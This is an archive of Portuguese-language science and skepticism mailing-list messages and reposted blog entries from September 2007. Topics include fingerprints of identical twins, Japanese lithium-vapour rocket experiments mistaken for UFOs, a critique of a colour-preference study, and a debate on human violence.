[via Museum of Hoaxes<http://www.museumofhoaxes.com/hoax/weblog/permalink/the_difficulty_of_debunking/>,
Anomalist <http://www.anomalist.com/>,
Metafilter<http://www.metafilter.com/64458/Mythbusters-have-the-odds-against-them>
]
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Enriqueciendo nuestra pasión por el conocimiento (A...

Postado em Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Ciência <http://www.ceticismoaberto.com/news/?cat=11>,
Geral<http://www.ceticismoaberto.com/news/?cat=1>| Por Mori Comente!
» <http://www.ceticismoaberto.com/news/?p=970#respond>


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SUBJECT: Boletins “Zetetic Scholar” disponíveis para download
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DATE: 06/09/2007 22:05

Boletins "Zetetic Scholar" disponíveis para
download<http://www.ceticismoaberto.com/news/?p=971>

<http://tricksterbook.com/truzzi/ZeteticScholars.html>
As primeiras cinco edições de "Zetetiz Scholar", boletim publicado pelo
falecido Marcello Truzzi<http://www.ceticismoaberto.com/ceticismo/truzzi.htm>,
estão disponíveis para download na íntegra no website de George Hansen. Como
Luis Ruiz Noguez
nota<http://marcianitosverdes.haaan.com/2007/09/zetetic-scholars-en-pdf/>
:

"Os editores consultores são impressionantes. Vemos uma mistura incrível e
irrepetível de crentes e céticos de todos os campos do mundo paranormal:
Milbourne Christopher, Persi Diaconis, Martin Ebon, Christopher Evans,
Martin Gardner, Michel Gauquelin, Bernard Heuvelmans, Ray Hyman, J. Allen
Hynek, David M. Jacobs, Edward J. Moody, Charles Tart e Ron Westrum."

Tudo em inglês, claro, mas se você puder ler, é leitura altamente
recomendada <http://tricksterbook.com/truzzi/ZeteticScholars.html>. Clique
na imagem para baixá-los.
[via Note Zetetiche<http://notezetetiche.blogspot.com/2007/08/on-line-i-primi-cinque-numeri-di.html>,
Paranormal Trickster <http://paranormaltrickster.blogspot.com/>]
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Ciência<http://www.ceticismoaberto.com/news/?cat=11>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Parapsicologia<http://www.ceticismoaberto.com/news/?cat=8>,
Fantasmas <http://www.ceticismoaberto.com/news/?cat=6>,
Ufologia<http://www.ceticismoaberto.com/news/?cat=2>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Personalidades<http://www.ceticismoaberto.com/news/?cat=5>,
Geral <http://www.ceticismoaberto.com/news/?cat=1> | Por Mori Comente!
»<http://www.ceticismoaberto.com/news/?p=971#respond>


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SUBJECT: Fogos (de artifício) no céu (espacial)
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DATE: 06/09/2007 22:05

Fogos (de artifício) no céu
(espacial)<http://www.ceticismoaberto.com/news/?p=972>


"Fogos de artifício espaciais" (Uchuu-hanabi) iluminaram os céus do Japão
neste último domindo, brilhando por alguns momentos tanto quanto a Lua.
Parte de um experimento para estudar a atmosfera, conduzido pela Agência de
Exploração Aeroespacial Japonesa (JAXA), a Universidade de Hokkaido e a
Universidade de Tecnologia de Kochi, as três bolas luminosas eram compostas
de nuvens de vapor de lítio liberadas na ionosfera por um foguete. O brilho
avermelhado era causado pela luz do Sol refletida nas nuvens de vapor de
lítio enquanto se dispersavam na atmosfera.
Você pode conferir agumas das imagens na página oficial JAXA, ou em
2-channeru.
O experimento lembra diversos episódios na ufologia. Antes de mais nada, é
muito comum que nuvens e esteiras de vapor a grandes altitudes iluminadas
pelo Sol, vistas de pontos no solo onde a escuridão já caiu há algum tempo,
sejam confundidas com OVNIs. Podemos mencionar o caso do lançamento foguete
russo Soyuz em 2006 <http://www.ceticismoaberto.com/fotos/fotosovnis32.htm>,
ou as incontáveis esteiras de condensação de aviões tomadas por
OVNIs<http://www.ceticismoaberto.com/news/?p=387>.
Também lembra o caso especial da Nuvem de
Deus<http://www.ceticismoaberto.com/news/?p=423>
.
Além do mundinho ufológico, o experimento também lembra as auroras
artificiais criadas no projeto HAARP e as explosões nucleares no
espaço<http://www.ceticismoaberto.com/news/?p=602>.
Isso mesmo.Você pode ver um dos testes, Starfish Prime,
aqui<http://www.youtube.com/watch?v=KFXlrn6-ypg>
.
[via Pink Tentacle <http://www.pinktentacle.com/2007/08/space-fireworks/>]
Veja também

- Vídeo revela surpresas sobre os Sprites: "está cheio de
estrelas!"<http://www.ceticismoaberto.com/news/?p=916>Sprites são
rápidas descargas elétricas sobre nuvens ...
- O Grande Hexágono de
Saturno<http://www.ceticismoaberto.com/news/?p=860>A sonda espacial
Cassini capturou novas imagens de um curioso hexág...
- CeticismoAberto.com atualizado
28.11.06<http://www.ceticismoaberto.com/news/?p=792>::
CIÊNCIA - Fractais: Uma nova visão da natureza Fractais n&...
- Desmistificando a "enxurrada de UFOs" na virada do
ano<http://www.ceticismoaberto.com/news/?p=834>Poucos minutos antes de
virada do ano, partes do foguete chinês Long...
- Imagem do Universo via
Hubble<http://www.ceticismoaberto.com/news/?p=843>Esta imagem do
telescópio espacial Hubble da NASA mostra uma cole&c...

Postado em Ciência <http://www.ceticismoaberto.com/news/?cat=11>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Fortianismo<http://www.ceticismoaberto.com/news/?cat=4>,
Ufologia <http://www.ceticismoaberto.com/news/?cat=2> | Por Mori
Comente! »<http://www.ceticismoaberto.com/news/?p=972#respond>


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SUBJECT: Arte espacial
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DATE: 06/09/2007 22:06

Arte espacial <http://100nexos.com/arquivo/274>


Astrona <http://astrona.blogspot.com/> � uma cole��o online de arte espacial
e astron�mica, fic��o cient�fica, vis�es de mundos futuros, design e
visualiza��o de tecnologias para viver no espa�o, explora��o espacial,
espa�onaves, col�nias espaciais e� muito mais. Acima, o trabalho de Alexander
Preuss<http://astrona.blogspot.com/2007/01/alexander-preuss-digital-paintings.html>.
H� muitos discos voadores, extraterrestres e arte psicod�lica tamb�m. Tudo
fascinante.
<http://astrona.blogspot.com/>

*Veja tamb�m:*
Don't F*ck with Love <http://100nexos.com/arquivo/123> "The Sad Little Stars
- Don't F*** With Lov...
Feng Shui mata <http://100nexos.com/arquivo/254> Uma ponte chinesa que
desabou matando 41 pessoas ...
O sucessor do Hubble: telesc�pio especial James
Webb<http://100nexos.com/arquivo/56>Planejado para ser lan�ado em
2013, o tele...
Aplica��es de um CD player no espa�o <http://100nexos.com/arquivo/157> O
astronauta Don Pettit, como parte do Saturday M...
Arte moderna que presta: realizando o sonho de Nikola
Tesla<http://100nexos.com/arquivo/187>Mais de mil e trezentas l�mpadas
fluorescen...


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SUBJECT: Machos preferem rosa
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
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DATE: 06/09/2007 22:07

Machos preferem rosa <http://100nexos.com/arquivo/275>

"Um estudo da Universidade de Newcastle descobriu que mulheres naturalmente
têm preferência por tons avermelhados. Em um artigo na revista especializada
Current Biology os especialistas afirmam que esta preferência pode ter
ajudado as mulheres na escolha de frutas mais maduras ou parceiros mais
saudáveis", noticiou o Correio
Braziliense<http://noticias.correioweb.com.br/materias.php?id=2717056&sub=Mundo>.
Não foi uma grande sensação midiática aqui no Brasil, embora a Veja tenha
publicado algo a
respeito<http://www.google.com/news?hl=pt-BR&ned=pt-BR_br&q=Hurlbert&btnG=Pesquisar+not%C3%ADcias>.
Mais no Tecnocientista<http://www.google.com/news/url?sa=t&ct=pt-BR_br/7-0&fp=46e06aa7f0311a23&ei=O6DgRpz8NIXSpgLAzsGVCQ&url=http%3A//tecnocientista.info/nd.asp%3Fcod%3D6032&cid=0>
.
No exterior a empolgação com o curioso estudo foi maior, mas como Ben
Goldacre do site Bad Science notou <http://www.badscience.net/?p=518>, o
estudo em si descobriu que a preferência não é consistente em culturas
diferentes, exatamente o oposto do que ele especula e foi disseminado pela
mídia. Isto é, influências culturais são sim mais importantes e a psicologia
evolutiva desempenha um papel pequeno, se é que desempenha algum papel, em
nossas preferências de roupinhas para bebê.
Mas o mais interessante, e a melhor demonstração da falha do estudo, é como
Goldacre lembra:

Antigamente, quando as damas tinham um periódico doméstico, em 1918 o Ladies
Home Journal escreveu: "Há uma grande diversidade de opiniões no assunto,
mas *a regra geralmente aceita é a de rosa para o menino e azul para a
menina. A razão é que o rosa é uma cor mais decidida e forte, sendo mais
apropriada ao garoto; enquanto azul, sendo mais delicado e sensível, é mais
bonito para a garota*". O Sunday Sentinel em 1914 disse às mães americanas:
"Se você gosta da nota de cor nas roupinhas de bebê, use rosa para o menino
e azul para a menina, se você seguir as convenções". Algumas fontes sugerem
que não foi até os anos 1940 que as associações modernas de gênero de rosa
feminino se tornaram universalmente aceitas. Rosa talvez não seja, assim,
biologicamente feminino. Garotos criados em roupinhas rosas trabalharam em
minas e lutaram na Segunda Guerra. Convenções de uso de roupas de fato mudam
ao longo do tempo".

Se você estiver incerto, coloque uma roupinha com todas as cores do
arco-íris em seus filhos. Ou
não?<http://pt.wikipedia.org/wiki/Bandeira_arco-%C3%ADris> [image:
:-)] [via Apothecary's Drawer
Weblog<http://apothdrawer.blogspot.com/2007_08_01_archive.html#6714619208419513600>
]

*Veja também:*
Jessica Alba babando <http://100nexos.com/arquivo/150> Clique para imagens
do ensaio em que Jessica Alba...
Células-tronco + gordura = admiráveis seios
novos?<http://100nexos.com/arquivo/87>O cirurgião plástico japonês ...


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SUBJECT: Re: Identificação Humana
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/09/2007 00:16

--- Em ciencialist@yahoogrupos.com.br, "Prof. Emiliano Chemello"
> é: estes gêmeos possuem o mesmo padrão de estriamento nas impressões
> digitais? Se não, como isto seria possível, já que geneticamente
> eles são idênticos? Gostaria também de referências sobre o assunto.

Jain A.K.; Prabhakar S.; Pankanti S. 2002 - On the similarity of
identical twin fingerprints. Pattern Recognition 35(11): 2653-63.
"Reliable and accurate verification of people is extremely important
in a number of business transactions as well as access to privileged
information. Automatic verification methods based on physical
biometric characteristics such as fingerprint or iris can provide
positive verification with a very high accuracy. However, the
biometrics-based methods assume that the physical characteristics of
an individual (as captured by a sensor) used for verification are
sufficiently unique to distinguish one person from another. Identical
twins have the closest genetics-based relationship and, therefore, the
maximum similarity between fingerprints is expected to be found among
identical twins. We show that a state-of-the-art automatic fingerprint
verification system can successfully distinguish identical twins
though with a slightly lower accuracy than nontwins."
http://dx.doi.org/10.1016/S0031-3203(01)00218-7
------------
As diferenças são possíveis pelo fato da impressão digital - como
praticamente qq característica biológica, depender da interação entre
fatores genéticos e ambientais.

Fatores genéticos no caso são virtualmente idênticos, os ambientais
durante o desenvolvimento tb são muito semelhantes - mas não
idênticos. E tb fatores casuais tb entram em jogo durante o
desenvolvimento. Disso resultam padrões muito similares, mas não
idênticos.

Pelo mesmo processo se conhecermos bem os gêmeos poderemos distinguir
um do outro - há pequenas diferenças em detalhes do rosto, na altura,
no tom de voz e outros.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Identificação Humana
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/09/2007 09:23

ola,
A impressão digital é resultado da formação dos tecidos da mãos,
influenciada pelo ambiente. É o resultado da expressão e regulação de
vários genes e fatores químicos que formam os tecidos. Como o ambiente
uterino é único para cada individuo, cada um terá um padrão. Não existe
um gene para a impressão, por isto mesmo gêmeos apresentam impressões
exclusivas (até uma mão é diferente da outra).
ita

--
Itabajara da Silva Vaz Junior
Centro de Biotecnologia - UFRGS
C.P. 15005
Av. Bento Goncalves 9500
Predio 43421 - Campus do Vale
91501-970 Porto Alegre RS Brasil
Fone (51) 33086078 Fax (51)3308-73-09 [00 55 51 3308 7309]
http://www.ufrgs.br/depbiot/201/cbt201.htm
http://www.ufrgs.br/favet/imunovet



SUBJECT: Re: [ciencialist] Re: Identificação Humana
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/09/2007 10:35

Oi Takata, obrigado.

Eis a referência que vc me deu na íntegra:

http://citeseer.ist.psu.edu/cache/papers/cs/29693/http:zSzzSzwww.cse.msu.eduzSz~prabhakazSzpubszSztwin_PR.pdf/jain02similarity.pdf

Gostaria de sua atenção para este trecho:

"The general characteristics of the fingerprint emerge as the skin on the fingertip begins to differentiate. However, the flow of amniotic fluids
around the fetus and its position in the uterus changes during the differentiation process. Thus, the cells on the fingertip grow in a microenvironment that is slightly different from hand to hand and finger to finger.The finer details of the fingerprints are determined by this changing microenvironment. A small difference in microenvironment is amplified by the differentiation process of the cells. There are so many variations during the formation of fingerprints that it would be virtually impossible for two fingerprints to be alike. But since the fingerprints are differentiated from the same genes, they will not be totally random patterns either. We could say that the fingerprint formation process is a chaotic system rather than a random one"

Tenho algumas referências que falam sobre a imutabilidade das impressões digitais, salvo casos de acidentes com a pele. Inclusive, um dos precursores de estudos com impressões digitais, Sir Wiliam Herschel, um oficial administrativo britânico e chefe de um distrito em bengala, Índia, começou um extensivo uso de impressões digitais, porém não teve muito sucesso com as autoridades que o proibiram de usar os padrões de impressão digitail para identificar os detidos. Uma curiosidade é que o mesmo Herschel percebeu a imubabilidade das suas impressões digitais quando comparou os padrões formados em 1860 e 1890.

Pela passagem que destaquei no artigo, nosso padrão de impressão digital está mais associado a diferenciação celular no útero da mãe (já que as impressões digitais estão definitivamente formadas e não variam a partir dos 7 meses de gestação) do que a influências do ambiente?

[]'s do Prof. Emiliano



rmtakata <roberto.takata@bol.com.br> escreveu:
--- Em ciencialist@yahoogrupos.com.br, "Prof. Emiliano Chemello"
> é: estes gêmeos possuem o mesmo padrão de estriamento nas impressões
> digitais? Se não, como isto seria possível, já que geneticamente
> eles são idênticos? Gostaria também de referências sobre o assunto.

Jain A.K.; Prabhakar S.; Pankanti S. 2002 - On the similarity of
identical twin fingerprints. Pattern Recognition 35(11): 2653-63.
"Reliable and accurate verification of people is extremely important
in a number of business transactions as well as access to privileged
information. Automatic verification methods based on physical
biometric characteristics such as fingerprint or iris can provide
positive verification with a very high accuracy. However, the
biometrics-based methods assume that the physical characteristics of
an individual (as captured by a sensor) used for verification are
sufficiently unique to distinguish one person from another. Identical
twins have the closest genetics-based relationship and, therefore, the
maximum similarity between fingerprints is expected to be found among
identical twins. We show that a state-of-the-art automatic fingerprint
verification system can successfully distinguish identical twins
though with a slightly lower accuracy than nontwins."
http://dx.doi.org/10.1016/S0031-3203(01)00218-7
------------
As diferenças são possíveis pelo fato da impressão digital - como
praticamente qq característica biológica, depender da interação entre
fatores genéticos e ambientais.

Fatores genéticos no caso são virtualmente idênticos, os ambientais
durante o desenvolvimento tb são muito semelhantes - mas não
idênticos. E tb fatores casuais tb entram em jogo durante o
desenvolvimento. Disso resultam padrões muito similares, mas não
idênticos.

Pelo mesmo processo se conhecermos bem os gêmeos poderemos distinguir
um do outro - há pequenas diferenças em detalhes do rosto, na altura,
no tom de voz e outros.

[]s,

Roberto Takata





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SUBJECT: Fw: [Cognitivistas] Chamada para Trabalhos - Revista "Ciências & Cognição" - ISSN 1806-5821
FROM: João Carlos Paredes <johnconstantinebr@yahoo.com.br>
TO: <dapsi-ufpe@yahoogrupos.com.br>, <interessecoletivo@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <NR@yahoogrupos.com.br>, <coreatitude@yahoogrupos.com.br>
DATE: 07/09/2007 10:47





Chamada para Trabalhos - Revista "Ciências & Cognição" - ISSN 1806-5821

Os interessados em enviar trabalhos para o décimo segundo volume da revista
eletrônica Ciências & Cognição (http://www.cienciasecognicao.org) têm
prazo até o dia 16 de outubro de 2007, o material enviado após esta
data será avaliado para a edição seguinte da revista.

A publicação é voltada para abordagens científicas dos temas
'Cognição' e 'processos cognitivos', com
preferência para as abordagens inter ou multidisciplinares. A
abrangência dos temas inclui artigos científicos, análise de
experiências, análises de casos clínicos, metodologias de
pesquisa sobre cognição, revisões teóricas, ensaios e resenhas.

A revista tem Conselho Editorial e Comitê Científico próprios, com
periodicidade quadrimestral. Encontra-se indexada aos
seguintes índices:
- Interacionais: Latindex, Dialnet, CLACSO, AERA SIG, SIRIUS, E-journals e ISSN International Centre;
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da revista Ciências & Cognição (http://www.cienciasecognicao.org) no link "Normas" (menu lateral) em formato .doc e .pdf.



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SUBJECT: Re: [ciencialist] Re: Identificação Humana
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/09/2007 13:52

ola,
O útero é um ambiente, portanto a diferenciação celular é afetada pelo
ambiente uterino.
Toda (ou quase toda ) diferenciação celular, desde uma só celula até
tecidos, é controlada por gradientes químicos, que sinalizam a ativação
ou não de diferentes genes. Assim que a células, e os organismos, em
diferenciação são o que é "frente", "lado" etc. Existem gradientes
amplos, que abrangem todo o corpo -uma ponta tem alta concentração e
outra baixa concnetração do químico , e gradientes menores, que abrangem
áreas menores (p. ex. membros ou abdome ou torax )
ita

Prof. Emiliano Chemello escreveu:
> Oi Takata, obrigado.
>
> Eis a referência que vc me deu na íntegra:
>
> http://citeseer.ist.psu.edu/cache/papers/cs/29693/http:zSzzSzwww.cse.msu.eduzSz~prabhakazSzpubszSztwin_PR.pdf/jain02similarity.pdf
>
> Gostaria de sua atenção para este trecho:
>
> "The general characteristics of the fingerprint emerge as the skin on the fingertip begins to differentiate. However, the flow of amniotic fluids
> around the fetus and its position in the uterus changes during the differentiation process. Thus, the cells on the fingertip grow in a microenvironment that is slightly different from hand to hand and finger to finger.The finer details of the fingerprints are determined by this changing microenvironment. A small difference in microenvironment is amplified by the differentiation process of the cells. There are so many variations during the formation of fingerprints that it would be virtually impossible for two fingerprints to be alike. But since the fingerprints are differentiated from the same genes, they will not be totally random patterns either. We could say that the fingerprint formation process is a chaotic system rather than a random one"
>
> Tenho algumas referências que falam sobre a imutabilidade das impressões digitais, salvo casos de acidentes com a pele. Inclusive, um dos precursores de estudos com impressões digitais, Sir Wiliam Herschel, um oficial administrativo britânico e chefe de um distrito em bengala, Índia, começou um extensivo uso de impressões digitais, porém não teve muito sucesso com as autoridades que o proibiram de usar os padrões de impressão digitail para identificar os detidos. Uma curiosidade é que o mesmo Herschel percebeu a imubabilidade das suas impressões digitais quando comparou os padrões formados em 1860 e 1890.
>
> Pela passagem que destaquei no artigo, nosso padrão de impressão digital está mais associado a diferenciação celular no útero da mãe (já que as impressões digitais estão definitivamente formadas e não variam a partir dos 7 meses de gestação) do que a influências do ambiente?
>
> []'s do Prof. Emiliano
>
>
>
> rmtakata <roberto.takata@bol.com.br> escreveu:
> --- Em ciencialist@yahoogrupos.com.br, "Prof. Emiliano Chemello"
>
>> é: estes gêmeos possuem o mesmo padrão de estriamento nas impressões
>> digitais? Se não, como isto seria possível, já que geneticamente
>> eles são idênticos? Gostaria também de referências sobre o assunto.
>>
>
> Jain A.K.; Prabhakar S.; Pankanti S. 2002 - On the similarity of
> identical twin fingerprints. Pattern Recognition 35(11): 2653-63.
> "Reliable and accurate verification of people is extremely important
> in a number of business transactions as well as access to privileged
> information. Automatic verification methods based on physical
> biometric characteristics such as fingerprint or iris can provide
> positive verification with a very high accuracy. However, the
> biometrics-based methods assume that the physical characteristics of
> an individual (as captured by a sensor) used for verification are
> sufficiently unique to distinguish one person from another. Identical
> twins have the closest genetics-based relationship and, therefore, the
> maximum similarity between fingerprints is expected to be found among
> identical twins. We show that a state-of-the-art automatic fingerprint
> verification system can successfully distinguish identical twins
> though with a slightly lower accuracy than nontwins."
> http://dx.doi.org/10.1016/S0031-3203(01)00218-7
> ------------
> As diferenças são possíveis pelo fato da impressão digital - como
> praticamente qq característica biológica, depender da interação entre
> fatores genéticos e ambientais.
>
> Fatores genéticos no caso são virtualmente idênticos, os ambientais
> durante o desenvolvimento tb são muito semelhantes - mas não
> idênticos. E tb fatores casuais tb entram em jogo durante o
> desenvolvimento. Disso resultam padrões muito similares, mas não
> idênticos.
>
> Pelo mesmo processo se conhecermos bem os gêmeos poderemos distinguir
> um do outro - há pequenas diferenças em detalhes do rosto, na altura,
> no tom de voz e outros.
>
> []s,
>
> Roberto Takata
>
>
>
>
>
> Flickr agora em português. Você clica, todo mundo vê. Saiba mais.
>
> [As partes desta mensagem que não continham texto foram removidas]
>
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> http://www.ciencialist.com
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--
Itabajara da Silva Vaz Junior
Centro de Biotecnologia - UFRGS
C.P. 15005
Av. Bento Goncalves 9500
Predio 43421 - Campus do Vale
91501-970 Porto Alegre RS Brasil
Fone (51) 33086078 Fax (51)3308-73-09 [00 55 51 3308 7309]
http://www.ufrgs.br/depbiot/201/cbt201.htm
http://www.ufrgs.br/favet/imunovet



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SUBJECT: Re: Globos de Plasma Profissionais
FROM: "matheuslps" <the_nightcrawler_best@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/09/2007 18:47

ninguem sabe não? ninguem tem um velho ae q possa desmontar e dar uma
olhada? valew



SUBJECT: Re: O ser humano é uma besta quadrada
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/09/2007 20:24

Oi Augusto,

Antes de tudo, parabéns pelo texto.

Mas me permita algumas objeções: o homem não é uma besta quadrada,
nem evoluimos do macado. Em verdade, o homem é um macaco metido a
besta.

Eu queria compartilhar do otimismo do Takata, mas, no dia-a-dia,
deparo-me muito mais com situações deprimentes. Estou quase a
concordar com Loren Eiseley, quando escreveu: "não confiaremos em
ninguém. O homem é a maldade. O homem é um animal. Veio das trevas
dos bosques e das cavernas."

Não me considero exceção: "eu, tantas vezes reles, tantas vezes
porco, tantas vezes vil..." (Fernando Pessoa, "Poema em Linha Reta").
Ademais, "não consigo modificar-me, é o que mais me aflige"
(Graciliano Ramos, "São Bernardo").

[]s,
Manuel Bulcão
__________________

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
<alvaro@...> escreveu
>
> Reflexões sobre gorilas, seres humanos e genocídio:
http://alvaroaugusto.blogspot.com/2007/09/o-ser-humano-uma-besta-
quadrada.html
>
> [ ]s
>
> Alvaro Augusto de Almeida
> http://www.alvaroaugusto.com.br
> alvaro@...
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: RE: [ciencialist] Re: O ser humano é uma besta quadrada
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/09/2007 21:48


Me admira a discussão!
O home não é uma besta quadrada...
O homem é um besta cúbica e total...
Todos com QI de 2 dígitos sabemos isso.
Somos uma experiência crônica e ambulante, com a auto-segurança de gênios e sem o domínio do querer, das emoções e das consequências...
Já ouví isso: somos como os vírus, que destroem seu hospedeiro.
Poderia dizer mais, mas sei que não vai passar.
abr/M. SP 07/set/07
( as partes... patatí-patatá...)> To: ciencialist@yahoogrupos.com.br> From: manuelbulcao@uol.com.br> Date: Fri, 7 Sep 2007 23:24:32 +0000> Subject: [ciencialist] Re: O ser humano é uma besta quadrada> > Oi Augusto,> > Antes de tudo, parabéns pelo texto.> > Mas me permita algumas objeções: o homem não é uma besta quadrada, > nem evoluimos do macado. Em verdade, o homem é um macaco metido a > besta.> > Eu queria compartilhar do otimismo do Takata, mas, no dia-a-dia, > deparo-me muito mais com situações deprimentes. Estou quase a > concordar com Loren Eiseley, quando escreveu: "não confiaremos em > ninguém. O homem é a maldade. O homem é um animal. Veio das trevas > dos bosques e das cavernas."> > Não me considero exceção: "eu, tantas vezes reles, tantas vezes > porco, tantas vezes vil..." (Fernando Pessoa, "Poema em Linha Reta"). > Ademais, "não consigo modificar-me, é o que mais me aflige" > (Graciliano Ramos, "São Bernardo").> > []s,> Manuel Bulcão> __________________> >

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Identificação Humana
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/09/2007 23:15

--- Em ciencialist@yahoogrupos.com.br, "Prof. Emiliano Chemello"
> Pela passagem que destaquei no artigo, nosso padrão de impressão
> digital está mais associado a diferenciação celular no útero da mãe
> (já que as impressões digitais estão definitivamente formadas e não
> variam a partir dos 7 meses de gestação) do que a influências do
> ambiente?

Como Itabajara Vaz destacou, o útero *é* o ambiente de desenvolvimento
do embrião e do feto (nos eutérios, claro). A idéia de ambiente na
verdade é ainda mais abrangente - o interior celular faz parte do
ambiente da expressão gênica, na verdade até outros genes fazem parte
do ambiente de um determinado gene.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: O ser humano é uma besta quadrada
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/09/2007 00:23

On 9/7/07, Manuel Bulcão <manuelbulcao@uol.com.br> wrote:
> Eu queria compartilhar do otimismo do Takata, mas, no dia-a-dia,
> deparo-me muito mais com situações deprimentes. Estou quase a
> concordar com Loren Eiseley, quando escreveu: "não confiaremos em
> ninguém. O homem é a maldade. O homem é um animal. Veio das trevas
> dos bosques e das cavernas."
>>>

Hmmm...

- O Mito do Homem Assassino
Um dos erros mais perigosos de nosso tempo é a crença de que os seres
humanos são animais unicamente violentos, escassamente contidos de
cometer atrocidades uns aos outros pelas restrições da ética, da
religião e do estado. Pode parecer estranho a alguns contrariar isto
dado o fluxo aparentemente incessante de relatos de atrocidades da
Bósnia, Somália, Líbano e Los Angeles que nós recebemos diariamente.
Mas, na realidade, um pequeno estudo de etologia animal (e alguma
aplicação de métodos etológicos no comportamento humano) basta para
mostrar à mente imparcial que os seres humanos não são animais
especialmente violentos.
http://www.ceticismoaberto.com/ciencia/homemassassino.htm

Abraços,

Mori


SUBJECT: Re: O ser humano é uma besta quadrada
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/09/2007 02:07

Olá pessoal

Kentaro: "O Mito do Homem Assassino
> Um dos erros mais perigosos de nosso tempo é a crença de que os seres
> humanos são animais unicamente violentos, escassamente contidos de
> cometer atrocidades uns aos outros pelas restrições da ética, da
> religião e do estado. Pode parecer estranho a alguns contrariar isto
> dado o fluxo aparentemente incessante de relatos de atrocidades da
> Bósnia, Somália, Líbano e Los Angeles que nós recebemos diariamente.
> Mas, na realidade, um pequeno estudo de etologia animal (e alguma
> aplicação de métodos etológicos no comportamento humano) basta para
> mostrar à mente imparcial que os seres humanos não são animais
> especialmente violentos."

Mais ainda, bastaria um simples exame estatístico dos atos violentos
versus atos não violentos em nossa vida diária. Por exemplo,
recentemente em minha cidade foi noticia durante quase um mês o
assassinato de uma criança pelo padastro (um criminoso reincidente).

Esse ato violento chegou na mídia imediatamente e se manteve por algum
tempo, provocando a revolta da cidade. Entretanto, o fato de que os
mais de 100 mil habitantes da cidade NÃO cometeram nenhum ato de
violência desse tipo contra crianças, em décadas, não tem a menor
chance de aparecer na mídia.

Até mesmo o fato de que o ato de violência choca a maioria das
pessoas, demonstra que a maioria das pessoas não se sente bem com atos
de violência.

Não estou diminuindo a importância desses atos, mas apenas notando que
mesmo no Iraque o número de pessoas que morre em atentados é
absurdamente menor do que o número de pessoas que vive suas vidas sem
problemas. É justamente o fato de que nos outros países não se morre
em atentados diários que torna o Iraque uma notícia triste, mas não
representa uma evidência da maldade natural ou inevitável do ser humano.

Evolutivamente, nosso comportamento tende a seguir o padrão de animais
gregários, a colaboração e o cuidado com outros do mesmo grupo.
Tendemos a ajudar, agir em grupo, e construir com ajuda do grupo, seja
em uma caçada coletiva, seja na formação das sociedades.

Um abraço.

Homero.





SUBJECT: Re: [ciencialist] Re: Identificação Humana
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/09/2007 08:04

Ola,
So completando o Takata, cada vez é mais complicado limitar o que é
genético (informação direta pelo DNA) e o que é ambiente. Hoje sabemos
que a expressão de um gene é controlada por diversos fatores, proteínas,
gradientes de químicos, por outros genes e por proteínas que estão
associadas ao DNA. Não basta ter a seqüencia de DNA para conhecer o
produto, podemos até conhecer a protéina, mas o produto da combinação de
diversas proteínas, ainda é, em grande parte, um mistério.
ita


rmtakata escreveu:
> --- Em ciencialist@yahoogrupos.com.br, "Prof. Emiliano Chemello"
>
>> Pela passagem que destaquei no artigo, nosso padrão de impressão
>> digital está mais associado a diferenciação celular no útero da mãe
>> (já que as impressões digitais estão definitivamente formadas e não
>> variam a partir dos 7 meses de gestação) do que a influências do
>> ambiente?
>>
>
> Como Itabajara Vaz destacou, o útero *é* o ambiente de desenvolvimento
> do embrião e do feto (nos eutérios, claro). A idéia de ambiente na
> verdade é ainda mais abrangente - o interior celular faz parte do
> ambiente da expressão gênica, na verdade até outros genes fazem parte
> do ambiente de um determinado gene.
>
> []s,
>
> Roberto Takata
>
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91501-970 Porto Alegre RS Brasil
Fone (51) 33086078 Fax (51)3308-73-09 [00 55 51 3308 7309]
http://www.ufrgs.br/depbiot/201/cbt201.htm
http://www.ufrgs.br/favet/imunovet



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Site "Feira de Ciências"
FROM: "Paulo Marcelo Pontes" <pmarcelopontes@gmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/09/2007 13:36


----- Original Message -----
From: <pavao@ufpe.br>
To: <leobarretos@uol.com.br>
Cc: "Paulo Marcelo Pontes" <pmarcelopontes@gmail.com>; "Quimica"
<quimica@espacociencia.pe.gov.br>
Sent: Saturday, September 08, 2007 11:17 AM
Subject: Re: Site "Feira de Ciências"


> Prof. Léo,
>
> Teremmos o maior prazer em hospedar o site Feria de Ciências tanto no
> Espaço Ciência como na ABCMC (talvez seja melhor aqui). Também posso
> avaliar a possibilidade de hospedá-lo no próprio site do MEC.
>
> Um abraço
>
>
>> Olá, Pavão e Cristiano.
>>
>> Não sei se já conhecem o site Feria de Ciências, uma importante
>> ferramenta
>> que auxilia na produção desses eventos, através da disponibilização de
>> vários experimentos, tudo disponibilizado gratuitamente pelo professor
>> Léo.
>> Acontece que o site está ameaçado de sair do ar, pois o servidor que o
